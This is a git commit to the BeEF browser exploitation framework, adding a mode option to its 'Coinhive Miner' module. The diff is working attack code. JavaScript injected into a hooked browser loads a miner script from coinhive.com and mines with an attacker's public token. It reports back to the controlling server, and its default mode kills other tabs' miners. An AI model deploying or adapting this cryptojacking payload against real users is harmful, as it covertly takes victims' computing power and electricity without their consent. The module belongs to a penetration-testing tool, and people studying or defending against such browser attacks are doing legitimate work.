Add mode option

This commit is contained in:
Brendan Coles
2017-10-14 08:10:06 +00:00
parent 9bbf92de68
commit 118fcc7d6f
3 changed files with 46 additions and 14 deletions

View File

@@ -4,6 +4,8 @@
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var comm_url = '<%= @command_url %>';
var comm_id = <%= @command_id %>;
load_script = function(url) {
var s = document.createElement('script');
@@ -14,24 +16,42 @@ beef.execute(function() {
beef.debug("[CoinHive] Loading library...");
load_script('https://coinhive.com/lib/coinhive.min.js');
setTimeout("mine('<%= @public_token %>')", 10000);
mine = function(token) {
try {
setTimeout("mine('<%= @public_token %>', CoinHive.<%= @mode %>)", 10000);
} catch(e) {
beef.debug("[CoinHive] Error loading miner: " + e.message);
beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
return;
}
mine = function(token, mode) {
beef.debug("[CoinHive] Starting the miner...");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Starting the miner');
beef.net.send(comm_url, comm_id, 'result=Starting the miner');
var miner = new CoinHive.Anonymous(token);
miner.start(); //CoinHive.FORCE_MULTI_TAB);
try {
var miner = new CoinHive.Anonymous(token);
miner.start(mode);
} catch(e) {
beef.debug("[CoinHive] Error starting miner: " + e.message);
beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
return;
}
miner.on('open', function() {
beef.debug("[CoinHive] Opened connection to pool successfully");
beef.net.send(comm_url, comm_id, 'result=Opened connection to pool successfully', beef.are.status_success());
})
miner.on('authed', function() {
beef.debug("[CoinHive] Authenticated successfully");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Authenticated successfully', beef.are.status_success());
beef.net.send(comm_url, comm_id, 'result=Authenticated successfully', beef.are.status_success());
})
miner.on('error', function(params) {
beef.debug("[CoinHive] The pool reported an error: " + params.error);
if (params.error === 'invalid_site_key') {
miner.stop();
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + params.error, beef.are.status_error());
beef.net.send(comm_url, comm_id, 'error=' + params.error, beef.are.status_error());
return;
}
})
miner.on('found', function() {
@@ -48,6 +68,6 @@ beef.execute(function() {
var acceptedHashes = miner.getAcceptedHashes();
beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
}
}, 1000)
}, 60000)
}
});

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Misc"
name: "Coinhive Miner"
description: "This module starts the Coinhive JavaScript Miner."
description: "This module starts the Coinhive JavaScript Miner. The following modes are available:<br/><p><b>IF_EXCLUSIVE_TAB</b> - The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.</p><p><b>FORCE_EXCLUSIVE_TAB</b> - The miner will always start and immediately kill all miners in other tabs that have not specified 'FORCE_MULTI_TAB'.</p><p><b>FORCE_MULTI_TAB</b> - The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners.</p>"
authors: ["bcoles"]
target:
user_notify: ['ALL']

View File

@@ -5,11 +5,23 @@
#
class Coinhive_miner < BeEF::Core::Command
def self.options
[{ 'name' => 'public_token',
'description' => 'Public Token',
'ui_label' => 'Public Token',
'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
'type' => 'text' }]
[{ 'name' => 'public_token',
'description' => 'Public Token',
'ui_label' => 'Public Token',
'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
'type' => 'text' },
{ 'name' => 'mode',
'type' => 'combobox',
'ui_label' => 'Mode',
'store_type' => 'arraystore',
'store_fields' => ['mode'],
'store_data' => [ ['IF_EXCLUSIVE_TAB'], ['FORCE_EXCLUSIVE_TAB'], ['FORCE_MULTI_TAB'] ],
'value' => 'FORCE_EXCLUSIVE_TAB',
'valueField' => 'mode',
'displayField' => 'mode',
'mode' => 'local',
'autoWidth' => true
}]
end
def post_execute
save({'result' => @datastore['result']})